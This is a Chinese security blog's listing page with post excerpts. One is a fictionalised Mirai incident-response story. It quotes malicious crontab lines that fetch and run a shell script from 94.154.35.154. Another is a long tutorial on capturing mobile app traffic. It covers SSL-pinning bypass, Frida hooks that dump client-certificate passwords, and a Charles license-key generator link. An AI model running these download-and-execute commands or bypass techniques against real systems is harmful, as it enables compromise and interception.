首页
关于
联系我们
本站友链
站点统计
站点留言
更多
本站壁纸
Search
1
cc攻击脚本加教程
92 阅读
2
植物大战僵尸杂交版秒杀包
69 阅读
3
子比搭建教程
64 阅读
4
黑客入侵黑页html源码
46 阅读
5
查看摄像头实时画面
45 阅读
默认分类
网络安全
个人笔记
网站源码
ctf
web
红蓝功防
应急响应
密码学
kali
linux
网安故事
日常
登录
/
注册
Search
标签搜索
ctf
网络安全
技术分享
工具
lucky博士
累计撰写
34
篇文章
累计收到
46
条评论
首页
栏目
默认分类
网络安全
个人笔记
网站源码
ctf
web
红蓝功防
应急响应
密码学
kali
linux
网安故事
日常
页面
关于
联系我们
本站友链
站点统计
站点留言
本站壁纸
搜索到
8
篇与
lucky博士
的结果
2026-02-28
青龙面板0day木马的分析
这是别人服务器被黑经历,我在这里做一下简单分析定位异常进程top htop ps1795937 root 20 0 2476464 2.3g 4 S 798.9 15.4 166:59.08 .fullgc几个明显异常点:进程名:.fullgc(隐藏文件名)CPU 占用:接近 800%(多核跑满)运行用户:root常驻运行基本可以判定:这肯定不是正常程序占用进一步确认该文件位置:/ql/data/db/.fullgc在完成本地排查并确认 .fullgc 进程行为异常后,为了进一步验证其性质,我将 /ql/data/db/.fullgc 文件上传至 微步在线(ThreatBook) 进行分析。https://s.threatbook.com/report/file/a939048e4374176a6259a19da544423cdc838e532a978fbb2508fefea8e5c88a
2026年02月28日
5 阅读
0 评论
1 点赞
2026-01-13
重生之我在停车场排查蠕虫病毒
免责声明:文章搬运狗头信安,只是觉得有意思,没有恶意搬运,如有侵权,联系删除0x01 重生之旅那一天,我失去了一切。原来人生真的是一场梦吗?所有的努力、挣扎与坚守,到头来只是服务器日志里一串即将被覆盖的数据。当Mirai蠕虫的触手以摧枯拉朽之势横向撕开内网,我看着监控面板上一台接一台失守的机器由绿转红,最终全军覆没。那一刻,我知道,我守护的世界沦陷了。“没用的FW,明天不用来了。”项目经理的声音冰冷地敲碎了最后一丝幻想我生无可恋地瘫在床上,泪水无声地浸湿了眼角如果……如果能再给我一次机会……意识,在悔恨的尽头逐渐朦胧“大鸿!醒醒!上班别摸鱼了!”一个激灵,我猛地抬起头。经理正站在我工位前,脸上带着一丝……笑容?“快去趟现场,有个客户被通报了,说有台机器感染了病毒,你去看看怎么回事”我愣住了,脱口而出:“经理,您昨天不是让我……找人事办离职吗?”“什么离职?睡糊涂了吧!”经理哭笑不得,“赶紧的,现场是个停车场,网络环境简单,就几台设备。”“停车场?”我下意识地反驳,“那点设备直接重装不就行了?”“你懂什么,人到现场代表我们的态度!要重视客户,知道吗?别废话了,快过去!”我一时语塞。经理的态度怎么一百八十度大转弯?昨天的雷霆之怒,难道只是一场噩梦?正当我恍惚时,隔壁工位传来同事的抱怨:“怎么又周末团建啊?烦不烦,还非得去轰趴别墅,五六十号人挤一块,根本就是无效社交!”轰趴别墅?!这个词像一道闪电劈进我的脑海这不是……上周才发生过的事情吗?我猛地看向电脑屏幕的右下角——11月11日我……回到了一周前?!0x02 再次相遇究竟发生了什么?等我回过神来,冰凉的风正吹在脸上我站在一个空旷的停车场门口,四周是略带锈蚀的栏杆和寥寥几辆蒙尘的汽车“你就是鸿工吗?快进来!”一声叫喊把我从翻腾的思绪中猛地拽出我循声望去,一个身材高大、长相酷似明星Van的帅气男子,正站在岗亭边焦急地朝我招手。那一瞬间,复杂的情绪涌上心头——激动、难以置信、还有一丝宿命般的寒意我穿过马路,几乎是朝他飞奔过去。“你可算来了,鸿工!”他一把拉住我,语气里混杂着求助与抱怨,“快帮我们看看,这到底咋回事啊?我们就一个破停车场,怎么会中什么蠕虫病毒?平时鬼影都没几个,抬杆缴费全是自助的就算真中了又能怎么样?这儿连个数据库都没有,难道偷走停车记录去卖钱吗?”我听出了他话里的潜台词:上面大惊小怪,给他找了麻烦“蠕虫病毒的目的不一定是你这里的数据,”我一边跟着他往里走,一边解释,声音因为某种紧迫感而有些发干,“它们会像瘟疫一样自我复制,横向移动,把感染的机器变成‘肉鸡’——也就是被远程控制的傀儡。”“肉鸡?”他愣了一下,随即眼睛竟亮了起来,“这不挺好吗?肉质细嫩,好吃!”我有些无语地看了他一眼,没再接这个话茬。“我们先看现场吧。网络环境应该不复杂吧?都有些什么设备?”“简单得很!”他掰着手指数,“一台企业级路由器、一台联网的监控摄像头,还有这台缴费的自助终端机。就没了。”“确实简单。”我走到那台孤零零立着的自助机前,灰色的金属外壳在昏暗的光线下显得有些冰冷。“这台机器是什么系统?”“听说是那个……森头OS(CentOS)?”“CentOS。”我纠正道,心跳没来由地快了一拍,“路由器和摄像头固件特殊,感染概率相对低。八成问题就出在这台有完整操作系统的终端上。我们先从它查起。”他转身钻进旁边的设备间,一阵翻找后,抱出一台落满灰尘的显示器,还有键盘鼠标。一阵手忙脚乱的接线后,自助机那略显陈旧的界面终于投射在屏幕上。我深吸一口气,坐了下来。指尖敲击键盘,命令符在黑底窗口上闪烁,敲出:netstat -tanpu命令回车。一长串网络连接列表刷地铺满屏幕。我的目光快速扫描着本地端口与外部地址。突然,我的手指停住了。列表之中,一个异常的远程IP赫然在列:'94.154.35.153'“94”开头的IP段。不像是大陆的IP地址。一种冰冷的熟悉感,顺着脊椎爬了上来。我强行压下悸动,迅速将这个IP复制下来,粘贴到微步在线的威胁情报查询框里。敲下回车。页面跳转。刺目的 红色警告界面 ,瞬间占满了整个屏幕。“果然是恶意IP……”我喃喃自语,滚动鼠标滚轮,目光急切地扫过那些关联的威胁标签、历史活动记录和家族信息。下一秒,我的呼吸骤然停止。瞳孔急剧收缩。屏幕上,那个我化成灰都认得的名字,正无声地散发着狞笑般的幽光—— 【Mirai蠕虫】 是他。怎么……又是他。 Mirai 蠕虫病毒!!!冰冷的汗水,瞬间浸湿了我的后背。那不是噩梦的残留,那是提前写好的 死亡通知 ,又一次,递到了我的面前。0x03 恶斗与追寻那天的回忆再次涌上心头——就是因为他,我被项目经理当众斥为fw;就是因为他,我失去了一切。如今再度相遇,这难道是上天的安排?安排我再一次被他凌辱……等等,不对。如今我已穿越重生,这难道……是上天给我的机会?给我一次战胜他的机会?上一世,我明明已经清除了恶意文件,连他的持久化计划任务也删得干干净净。可为什么他能一次又一次复活?我在键盘上敲入:crontab -l显示器上赫然显出:@reboot for t in curl wget; do T=/tmp/.s$$;if $t http://94.154.35.154/shell.sh>$T 2>/dev/null && [ -s $T ]; then sh $T&; rm -f $T; break; fi; rm -f $T; done; /tmp/uraskid skidstart——每次服务器重启,就会从 94.154.35.154 重新下载恶意脚本。*/5 * * * * ps | grep uraskid | grep -v grep >/dev/null || (for t in curl wget; do T=/tmp/.s$$; if $t http://94.154.35.154/shell.sh>$T 2>/dev/null && [ -s $T ];then sh $T&; rm -f $T; break; fi;rm -f $T; done; /tmp/uraskid skidstart)——每5分钟检查进程是否存在,没有就重新拉取,这是“看门狗”。@hourly for t in curl wget; do T=/tmp/.s$$; if $t http://94.154.35.154/shell.sh>$T 2>/dev/null && [ -s $T ]; then sh $T&; rm -f $T; break; fi; rm -f $T; done; /tmp/uraskid skidstart——每小时再来一次,三重保险。这种招数,对我已经没用。"crontab -r"——计划任务,一键清空。再补两刀:'rm -f /tmp/.s* rm -f /tmp/uraskid*执行文件、临时脚本,统统干掉。再次 crontab -l,果然空空如也。……上一世,我就是走到这里,以为自己赢了。可没想到,这个该死的 Mirai 变种就像有无限复活币——我杀一次,它活一次。究竟为什么……等等——难道……他用了那一招?不可能啊,一个蠕虫病毒,怎么会这种手段?我迅速敲入:cd /etc/init.d/ ls一个文件名跳进眼里:uraskid它不该出现在这里。cat /etc/init.d/uraskid果然——他把自己做成了服务启动项。只要系统重启,这个脚本就会自动执行,重新部署一切。我冷笑一声,敲出"rm -f /etc/init.d/uraskid"重启服务器。持续监测十分钟,再没有外连那个 IP。——这一次,我终于赢了。哈哈哈哈哈......我再也不是他们口中的……那个fw了。0x04 消逝"握载液补时仁闷抠种の拿鸽five了!"叽里咕噜说啥呢?上班时间睡觉,怪不得你是个fw呢!扣200,赶紧去HR那儿办离职手续,明天回家睡个够吧!“经、经理……什么手续啊?”“什么手续?你还好意思问!昨天公司的脸全都被你丢完了!一个破蠕虫病毒都处置不了,赶紧走人!”我瞪大双眼,目光落在桌上那盒吃了一半的拼好饭。这一瞬间——我似乎明白了。
2026年01月13日
6 阅读
0 评论
3 点赞
2025-12-15
抓包教程
{mtitle title="抓包教程"/}抓包的作用是用来封包和截取网络流量包的特殊请求** 抓包教程 Hook | SSL Pinning |Frida前言1 使用 Burpsuite 对 APP 进行抓包环境:2使用 Fiddler 对 APP 进行抓包**环境:3 使用 Burpsuite + Fiddler 进行对 APP 进行抓包**4 、使用小黄鸟 HttpCanary 对 APP 进行抓包**环境:下面是 HttpCanary 的工作原理5 、使用 Charles 对 APP 进行抓包**环境:代理服务器的工作原理如下所示:Charles 下载地址:注册码生成地址:激活 Charles**HTTPS 解析6 、使用 Charles + Burpsuite 进行对 APP 进行抓包7 、使用 Postern + Charles + Burpsuite 进行对 APP 进行抓包**环境:先配置 Charles**Charles 和 Fiddler 的比较8 、使用 Frida + Xposed + Objection + Burpsuite 进行对 APP 进行抓包**SSL 证书绑定单向校验使用 Xposed + JustTruestMe 来突破 SSL Pinning**环境:**双向校验9 、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包环境:总结参考资料前言每当遇到一些 APP 渗透测试项目的时候,抓不了包的问题令人有点难受,但是抓不了包并不能代表目标系统很安全,那么接下来我会整理一下目前我所了解到的一些抓包方法1. Burpsuite 2 、Fiddler 3 、Burpsuite + Fiddler 4 、小黄鸟 HttpCanary 5 、Charles 6 、Charles + Burpsuite 7 、Postern + Charles + Burpsuite 8 、Frida + Xposed + Objection + Burpsuite9 、Frida 写 Hook 代码来抓包以下抓包测试请确保手机和电脑是处于同一个局域网下1 、 使用 Burpsuite 对 APP 进行抓包环境:Burpsuite Professional v2021.Pixel3 Android11 、已 root + Xposed在 Burpsuite 里面 Proxy — Options — Proxy Listeners — Add然后在Speciffic address选择 172 网段的那个 IP 地址(即本机局域网 IP 地址)在手机里面网络设置也要设置 手动代理模式 ,输入的 IP和端口 都要与 Burpsuite 一样然后在手机浏览器访问 https://burp 这个地址,去进行下载并安装 burp 证书,因为抓取 HTTPS 流量是需要证书的,点击 CA Certificate 即可进行下载下载之后要对证书文件后缀名进行更改,因为手机是无法打开 .der 后缀的文件,所以要吧 .der 改为.cer ,然后再进行安装证书那么安装之后就可以进行抓取 APP 数据包了2、使用 Fiddler 对 APP 进行抓包环境:Fiddler v5.0.20204.Pixel3 Android11 、已 root + Xposed1 、在 Fiddler 里面 Tools — Options2 、在 options 弹框中切换至 HTTPS ,勾选图中标记的 2 个选项并点击 OK3 、勾选后会弹出安装证书的提示,根据提示一直点击 是 即可安装成功4 、接着在Tools — Options — Connections,端口写 9999 (可随意更改),并勾选 Allow remotecomputers to connect ,点击 OK5 、重启 Fiddler ( 修改fiddler配置要重启后才能生效 )6 、修改手机网络设置7 、在浏览器访问上面设置的 IP 地址和端口号,我这里是 172.20.10.5:9999(这里要根据实际情况),然后 FiddlerRoot certificate 进行下载证书,并自行安装那么安装之后就可以进行抓取 APP 数据包了3、使用 Burpsuite + Fiddler 进行对 APP 进行抓包配置 Burpsuite 使用的代理监听是 127.0.0.1:在 Fiddler 里面 Tools — Options — Gateway 配置的代理监听是 127.0.0.1:8080(这里的配置与Burpsuite 代理一致)接着在 Tools — Options — Connections ,端口写 9999 (可随意更改),并勾选 Allow remotecomputers to connect ,点击 OK修改手机网络设置也就是说从手机的流量经过 Fiddler 进行转发到Burpsuite4、使用小黄鸟 HttpCanary 对 APP 进行抓包环境:HttpCanary v3.3.Pixel3 Android11 、已 root + Xposed首先安装 HttpCanary APP 应用HttpCanary 支持 HTTP/HTTPS/HTTP2 网络数据包的抓取和分析,其实和 Charles 类似,要抓取 HTTPS需要使用 MITM 中间技术对 TLS/SSL 数据包进行解密以及明文输出,因此需要安装自签的 CA 证书这里要提一下 Android 系统默认对证书信任证书的问题因为我的 Pixel3 手机是已经 root 了,而且是 Android11 系统,在安卓 7.0 之前系统,直接下载证书装入即可,安卓 7.0 及以上系统对于证书的安全策略做了修改,意味着,从 sdcard 安装用户级 CA 将无法拦截应用流量。我们需要将证书命名为计算出的哈希值后缀 .0 或者直接在手机里面的 用户凭据 可以看到后缀 .0的证书文件 名字,然后导入到根证书目录:/system/etc/security/cacerts 让系统默认可信任。因此安装证书的方式也有所不同,默认它是安装在用户那里的。首先按照我下面的图顺序进行安装证书先导出 HttpCanary根 证书文件 .pem点击它,即可完成安装证书那么这里就看到它是安装在用户那里的,但是由于我的设备是已经 root 了,要把这个证书安装在 系统那里才能进行抓取 HTTPS 流量那么这时就需要把证书的文件移动到系统目录下就可以了,这里选择导出 System Trusted(.0)那么就把证书进行移动到系统证书目录 /etc/security/cacerts/在 Android 10 以及以上安装证书到 /system/etc/security/cacerts/会出现 system 无法写入使用 mount报错如下:'/system' not in /proc/mounts '/dev/block/dm-4' is read-only由于 Android 10 采用了某些安全策略,将系统分区 /system挂载为只读,就算你 root 了也没用,无法写入系统分区也就无法导入系统证书,在使用 HTTPCanary 这样的软件抓包分析的时候,很多 app 只认系统证书,不认用户证书遇见此类情况有两种方式解决:1 、在 Magisk 里面安装 Move Certificates模块,该插件可以一键将所有用户证书自动转换为系统区证书https://github.com/Magisk-Modules-Repo/movecert使用方法:所有证书安装为用户证书后,安装此插件,并重启。2 、创建一个新的挂载点来覆盖 这种方式是内存覆盖的方式所以手机重启后失效。(想要持久化需考虑搞一个开机启动服务)再进来这个看证书的界面就已经看到已经把 用户 的证书安装在 系统 那里了 # 创建一个临时目录,保存当前证书 mkdir /sdcard/tmp/ # 复制现有证书到临时目录 cp /system/etc/security/cacerts/* /sdcard/tmp/ # 创建内存挂载 mount -t tmpfs tmpfs /system/etc/security/cacerts # 将现有证书复制回 tmpfs 挂载 mv /sdcard/tmp/* /system/etc/security/cacerts/ # 更新 perms 和 selinux chown root:root /system/etc/security/cacerts/* chmod 644 /system/etc/security/cacerts/* chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*虽然 HttpCanary 是一个很不错的抓包工具,但是它并不能跟其他抓包工具进行一个联动转发抓包,所以当渗透测试人员在使用它进行抓包之后,可以直接在手机上进行修改数据包进行测试,但是可能在手机上工作效率没那么高,于是就把要测试的数据包复制出来到 Burpsuite 上进行修改并发包,这个过程也会浪费很多时间。下面是 HttpCanary 的工作原理HttpCanary 采用 VPN 的方式将网络包转发给本地代理服务器,本地代理服务器将数据包转发虚拟网关,由虚拟网关进行不同策略地拦截和协议解析,最后再将数据发送给终端最重要的一层就是虚拟网关 Virtual Gateway ,需要对协议进行鉴定解析等等,包括数据包的拦截注入都是在这一层处理的,比如 HTTPS 的中间人(MITM)解析出明文包等因此从上图观察它的工作原理进行分析之后,让我寻找到另一种方式抓包(它的工作方式也和HttpCanary 有点相似 )可以用它来代替 HttpCanary —— Postern + Charles + Burpsuite组合,至于怎样操作,可以在文章下面 7 、使用Postern + Charles + Burpsuite进行对APP进行抓包 进行详细阅读5、使用 Charles 对 APP 进行抓包环境:Charles v4.6.2Pixel3 Android11 、已 root + Xposedcharles 是一款非常优秀的抓包工具,全平台支持,在 mac,windows,linux 上都可以使用,既可以抓取 web 端的包,也可以抓 app 端的包charles 主要的功能包括如下几点:截取 Http 和 Https 网络封包。支持重发网络请求,方便后端调试。支持修改网络请求参数。支持网络请求的截获并动态修改。支持模拟慢速网络。代理服务器的工作原理如下所示:客户端发起请求,请求通过 charles 转发给服务器,服务器返回响应,响应通过 charles 转发给客户端。charles 所起的作用就相当于信使,把信息从 A 传递给 B,并且把回信从 B 传递给 A,正因为他这个信使的工作,所以他对信息的内容了如指掌(不管是原信还是回信),正因为如此,charles 也就可以篡改信息的内容,即篡改请求和响应。Charles 下载地址:https://www.charlesproxy.com/download/然后自行安装之后,要对它进行激活注册码生成地址:https://www.zzzmode.com/mytools/charles/激活 Charles在 Help->Registered 输入 key 和生成的激活码即可设置代理,在 Proxy — Proxy Settings ( 注意:此时我的Windows Proxy是去掉对勾的,因为这里我是想在PC端抓手机端的包,所以没必要打开电脑的本地代理 )填入代理端口 8888 (或者自定义,但不能和系统已占用端口冲突),并且勾上 Support HTTP/2 和Enable transparent HTTP proxying ,点击右下角 OK 即可然后分别在 PC 端和手机端安装证书选择 Help — SSL Proxying — Install Charles Root Certificate 就可以下载安装上 PC 端了证书存储选择 受信任的根证书颁发机构接下来再给手机端安装证书,步骤如下:选择 Help — SSL Proxying — Install Charles Root Certificate on a Mobile Device or RemoteBrowser点击后会弹出窗口提示设置的方法,按照提示在手机端将代理设置为电脑的 ip:8888( 我这里是192.168.1.251:8888 ),这里要先确保手机和电脑连接同一个无线网络 。然后在手机的浏览器打开 http://chls.pro/ssl ,按提示下载证书即可。如果 Charles 有弹出提示,一定要点击 Allow首先按照我下面的图顺序进行安装证书找到选择刚刚下载的证书文件,点击即可完成安装它也是安装在 用户 那里,但是由于我的设备是已经 root 了,要把这个证书安装在 系统 那里才能进行抓取 HTTPS 流量但是移动证书的前提要知道证书安装之后的证书文件是被命名为什么,于是可以在 用户凭据 这里可以看到文件为 b905ae73.0 ,它目前是在用户目录下 /data/misc/user/0/cacerts-added/然后把它复制到 /etc/security/cacerts/ 系统目录下HTTPS 解析然后在 Proxy — SSL Proxying Settings 进行 SSL Proxying Settings 设置勾选 enable SSL Proxying 复选框代表开启 SSL Proxying 代理,并在 include 栏中添加域名和端口号。include 中的列表项代表 Charles 能够展示这些域名的 SSL 请求和响应的明文。并且说明中也提示了我们 Charles 要想使用 SSL Proxying 代理,需要进行 SSL Certificates,即证书签名。这个我们在上面已经完成了。Stop SSL Proxying 按钮可以控制 SSL 代理的开关。(必须要开启SSL Proxying)到此,PC 端的设置都已经配置好了,然后就能进行抓包了6、使用 Charles + Burpsuite 进行对 APP 进行抓包选择勾选 Proxy — External Proxy Settings 就是要将 Charles 作为手机端的代理,再由 Charles 将包转发给 burpsuite,所以对于 Charles 来说,burpsuite 就成了一个 External Proxy Server —— 外部代理服务器勾选 HTTP 和 HTTPS 代理,这里 HTTP 和 HTTPS 的代理服务器地址都是 127.0.0.1:8080(这里的配置与 Burpsuite 代理一致)已经设置了外部代理了,就必须打开 burp(当然了主要是要打开 burp 中对 127.0.0.1:8080 的监听),否则就会出现 连不上网了 的现象。在 burp 的菜单栏中的 Proxy 选项下的 Options 中打开127.0.0.1:8080 的代理监听(默认应该是已经打开的),在 Intercept 中关闭请求拦截。完成上面的配置步骤后,从手机上打开浏览器搜索内容,应该已经可以在 Charles 窗口左侧的列表中找到想抓的包,并且也可以看到数据包从 Charles 转发到 Burpsuite 了7**、使用 Postern + Charles + Burpsuite 进行对 APP进行抓包**在实际抓手机 App 包场景中,有很多种方案,经典的就是 Fiddler 、 Burpsuite ,但是 Fiddler 、Burpsuite 会遇到一个问题,如果 App 为了防止中间人抓包,特意设置了不走代理这个选项,那单独直接用 Fiddler 、 Burpsuite 这些抓包工具就不能抓包的,那总不可能说不能抓包就认为目标系统很安全吧?为了抓到完整的包,于是就衍生出 Postern + Charles 这个组合,是因为 Charles 没有直接监听到App,Charles 是监听到了 Postern 上,Postern 就是一个VPN ,所以 App 设置不走代理也没用,它是通过 VPN 将所有流量转发到 Charles 的 socks 代理,再打开 Charles 的 External Proxy Server — (外部代理服务器)转发到 Burpsuite,从而实施中间人抓包环境:Postern 3.1.3Charles v4.6.2Burpsuite Professional v2021.2Pixel3 Android11 、已 root + Xposed先配置 Charles在 Proxy — Proxy Settings ,勾选 Enable SOCKS proxy 进行设置 SOCKS 代理(按照下图的操作),端口号我这里设置 16666 (或者自定义,但不能和系统已占用端口冲突)配置代理添加代理服务器点击保存配置规则添加规则按照下图进行操作并点击保存打开/关闭 Postern那么只要上面的 使用Charles + Burpsuite进行对APP进行抓包 设置好之后,打开你想要抓的目标 APP就可以看到数据包已经转发到 Burpsuite 了但是如果遇到某些比较敏感的 APP,检测 root 的话,可以参考下面的两篇文章进行设置隐藏 Root – Zygisk 版面具 Magisk 过银行 App 等 Root 检测,Shamiko 模块的妙用 magisk 安装与配置Charles 和 Fiddler 的比较Fiddler 虽然也可以完成对手机的抓包,但是如果 App 设置了不走代理,那 Fiddler 就失败了,并且Fiddler 每次都需要手动修改网络设置的代理,但是 Charles 与 Postern 联动配合就不需要手动修改网络设置,只需要配置好 Postern 和 Charles 的连接就可以了,并且可以对绝大部分的 App 进行抓包,不使用代理时,直接关闭 Postern 即可目前来说,Fiddler 和 Charles 都是很流行的,但是相对来说,还是 Postern + Charles 适用范围更广一些。8**、使用 Frida + Xposed + Objection + Burpsuite 进行对 APP 进行抓包**SSL 证书绑定什么是证书绑定呢?其实网上叫法蛮多的,SSL 证书绑定、英文名字:SSL Pinning 或者证书检验。总之无论怎么叫都是检验证书是否可信任。我们知道从 HTTP 到 HTTPS 数据在传输过程中添加了一层SSL/TLS,让我们数据流量处于加密状态,不再是明文可见。这时候便有了 CA 证书。我们在抓取 HTTPS 数据包得时候,做的就是利用假的 CA 证书,来实现中间人劫持数据。一旦 app 校验了证书的指纹信息。我们的证书不再受信任了。自然而然就无法建立连接,所以必须想办法让 app 信任,才能继续抓包。当然这个分为两种情况:( 1 )单项校验-客户端校验服务端的证书。( 2 )双向认证-客户端不仅仅要校验服务端的证书,也会在 app 内放一张证书;服务端也会检验客户端里的证书。单向校验Android 系统中已经提供了检验证书的 api,我们只需要实现 checkClientTrusted 、checkServerTrusted 、 verify 等方法即可。这类的对抗需要我们将这些函数的校验进行置空,默认信任所有证书即可。使用 Xposed + JustTruestMe 来突破 SSL PinningXposed 是一个框架,它可以改变系统和应用程序的行为,而不接触任何 APK。它支持很多模块,每个模块可以用来帮助实现不同的功能。JustTrustMe 是一个用来禁用、绕过 SSL 证书检查的基于 Xposed 模块。JustTrustMe 是将 APK 中所有用于校验 SSL 证书的 API 都进行了 Hook,从而绕过证书检查。环境:Pixel3 Android11 、已 root + XposedSSLUnpinning 2.0 插件JustMePlush 插件Frida-server-15.1.27-android-arm64PC 端的 Frida v15.1.27Objection v1.11.0首先下载 Xposed 框架插件 SSLUnpinning + JustTrustMe , SSLUnpinning 插件可以直接在 Xposed 商店下载,而 JustTrustMe 插件需要到下面的 GitHub 链接自行下载我这里就使用 SSLUnpinning 2.0 插件和 JustMePlush 插件,效果都是一样的,插件安装完之后,记得启动插件,然后 重启手机 后插件才能生效然后使用 Objection 进行绕过Objection 是一款基于 frida 的 hook 框架,由于 frida 需要我们自己编写脚本,使用比较麻烦,objection 内置了在安卓和 IOS 逆向中常用的一些 hook 脚本,我们通过简单的命令行就可以进行 hook动态篡改,非常方便因为 Objection 是基于 Frida 的所以必须先安装 Frida 然后才能安装 Objectionpip3 install objection按照上面的操作进行部署 Frida 环境之后,就启动 Frida服务端程序接着用 Objection 注入到目标 APP 应用程序上如果不知道 APP 包名,可以用以下命令进行查看,但是依然前提要启动了 Frida服务端程序pip3 install objectionobjection -g 包名 explore然后输入关闭 APP 的 SSL 校验命令并在手机里面网络设置也要设置手动代理模式,输入的 IP 和端口都要与 Burpsuite 一样frida-ps -Uaandroid sslpinning disable即可完成绕过 SSL Pinning 进行抓包如果出现还是依然无法绕过 SSL Pinning 的情况,可以参考下面两篇文章Android 抓包总结 Frida.Android.Practice (ssl unpinning)双向校验APP 除了校验服务端的证书,服务端还会检验 APP 的证书。HTTPS 双向证书校验在实际中几乎很少用到,因为服务器端需要维护所有客户端的证书,这无疑增加了很多消耗,因此大部分厂商选择使用单向证书绑定。 对抗双向认证需要完成两个环节:( 1 )让客户端认为 burp 是服务端 ,这一步其实就是破解 SSL pinning,方法和上述过程完全相同。( 2 )让服务端认为 burp 是客户端 ,这一步需要导入客户端的证书到 burp,客户端的证书一定会存在本地代码中,而且还可能会有密码,这种情况下需要逆向客户端 app,找到证书和密码,并转为 pkcs12格式导入到 burp。User options -> SSL -> Client SSL Certificate。双向校验的app 案例: https://www.wandoujia.com/apps/8280413通常情况下应用会将证书放置在资源目录 app/asset下,后缀名为 p12 、 pfx的文件。当然也可能会伪装成其他文件,例如图片文件等。怎么找到证书密码呢?一般要么逆向分析找到密码,要么通过 hook api java.security.KeyStore 使密码自吐。( 1 )Jadx 中搜索证书的名字、或者证书链 x509certificate 分析定位到关键位置。( 2 )服务器对客户端进行校验过程中,客户端将证书公钥发送给服务器,以及从服务器获取 session 和私钥解密过程中,需要 API 进行操作,API 存在于 java 层框架内,所以 hook 框架层代码java.security.KeyStore,使密码自吐。这里下图的案例 APK 解压之后在 assets 目录下有一个 client.p12 的证书文件,但是不知道它的密码,因此要使用 Frida 对目标 APP 进行 hook,让它密码自吐。❗ ❗ ❗ 注意:.p12后缀的证书文件是由 .crt证书和 key 文件合并成.p12证书文件,并且在合并生成.p12 文件的时候必须对证书进行加密(也就是加个证书密码),不加密码 Burpsuite 是无法导入的脚本可以在大佬博客这里复制,并命名为 ssl.js(可自定义) 抓包之服务器校验客户端证书执行下面的命令function hook_KeyStore_load() { Java.perform(function () { var StringClass = Java.use("java.lang.String"); var KeyStore = Java.use("java.security.KeyStore");KeyStore.load.overload('java.security.KeyStore$LoadStoreParameter').implementat ion = function (arg0) {console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan g.Throwable").$new())); console.log("KeyStore.load1:", arg0); this.load(arg0); }; KeyStore.load.overload('java.io.InputStream', '[C').implementation = function (arg0, arg1) {console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan g.Throwable").$new())); console.log("KeyStore.load2:", arg0, arg1? StringClass.$new(arg1) : null); this.load(arg0, arg1); };console.log("hook_KeyStore_load..."); }); }setImmediate(hook_KeyStore_load)frida -U -f APP 包名 -l ssl.js –no-pause可以发现我们通过 hook 框架层代码得到了 client.p12证书密码为 111111 ,然后在 Burpsuite 里面选择User options — TLS — Client TLS Certificates — Add 进行导入证书,Destination host写*进行匹配所有地址,证书类型选择File(PKCS#12),然后选择Next加载 assets 目录下的 client.p12 证书文件,和输入上面 hook 出的密码 111111导入证书之后,就可以正常的抓包了,可以看下面的图,下面的 403 是没导入证书的时候,它就不允许你抓包访问,上面的 200 是我导入证书之后,就可以正常抓包了还有就是在某些特殊场景 web页面 或者 APP 需要在 PC 电脑端安装证书才能进行访问抓包的,那么就要根据实际情况去操作9、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包环境:夜神模拟器 32 位 Android7.1.2 已 rootFrida-server-15.1.27-android-x86PC 端的 Frida v15.1.27Objection v1.11.0使用 Charles 抓不到包怎么办呢,我们有 Frida,可以通过 frida 来 hook 住 APP 构造网络请求和接收数据地方的代码,然后打印出来请求和返回数据,这样 APP 向服务器进行的网络请求和接收的数据便一览无余了。一般网络请求和接收数据的代码都会写在一个类中,我们只要找到一个点来追踪去找到这个类就可以了。在大佬的 Github 项目里面找到一个Frida 实现拦截 okhttp 的脚本它的工作原理就是:由于所有使用的 okhttp 框架的 App 发出的请求都是通过RealCall.java发出的,那么我们可以 hook 此类拿到 Request 和 Response, 也可以缓存下来每一个请求的 call 对象,进行再次请求,所以选择了此处进行 hook。 find 前新增 check,根据特征类寻找是否使用了 okhttp3 库,如果没有特征类,则说明没有使用 okhttp; 找到特征类,说明使用了 okhttp 的库,并打印出是否被混淆。❗ ❗ ❗这里我使用了真机进行测试,遇到下面的报错,应该是有检测到我真机的一些环境原因吧,因此我就使用了夜神模拟器进行下面的操作首先将 okhttpfind.dex 拷贝到 /data/local/tmp/ 目录下,并赋予权限adb push okhttpfind.dex /data/local/tmp/ chmod 777 okhttpfind.dex然后启动Frida服务端程序接着执行命令启动 hook 脚本okHttp 的 app 案例adb push okhttpfind.dex /data/local/tmp/chmod 777 okhttpfind.dexfrida -U -l okhttp_poker.js -f APP 包名 –no-pause如果有需要可追加参数 -o [output filepath] 保存到文件然后复制被混淆后的类名(上图红色框圈住的内容),粘贴到 okhttp_poker.js 文件中(如下图),并进行保存,Frida 会自动实时识别更新后的脚本内容执行相关操作然后运行 hold() 命令开启 hook 拦截,然后操作 App 后,会出现拦截的内容如下:如果想对 okHTTP 进行深入的研究可以前往这篇大佬的文章进行阅读 [原创] 如何实现 Https 拦截进行 非常规“抓包”(20.9.13-代码更新)总结整理了以上九种不同的抓包方式其实是可以应对目前市面上各大的 APP 抓包场景,当然抓包的方式肯定不只这九种,比如还有肉丝大佬 r0ysue 的安卓应用层抓包通杀脚本,有兴趣的大佬可以去尝试一下。其实能多掌握一些抓包的技巧,也许能够在测试的过程中发现更多意想不到的新技术。参考资料fiddler 安装教程,算是一次记录吧~ 如何使用 Burp suite 抓取 Fiddler 转发的流量包 Android 抓包——HttpCanary Android10 导入系统证书的方法。 学完这篇 Charles 抓包教程,我直接把 fiddler 卸载了 Charles+Postern 抓包 如何通过 Charles+BurpSuite 的配合在 PC 端抓到手机包 Charles 乱码和 SSL 代理问题解决 走进移动安全(3)-抓包进阶 双向认证 APP 自吐证书密码与抓包 [原创]安卓 APP 抓包之双向认证突破 [Frida 实现的 Android 端 App 抓包小工具okhttp_poker]
2025年12月15日
17 阅读
0 评论
1 点赞
2025-12-15
windows简单提权笔记
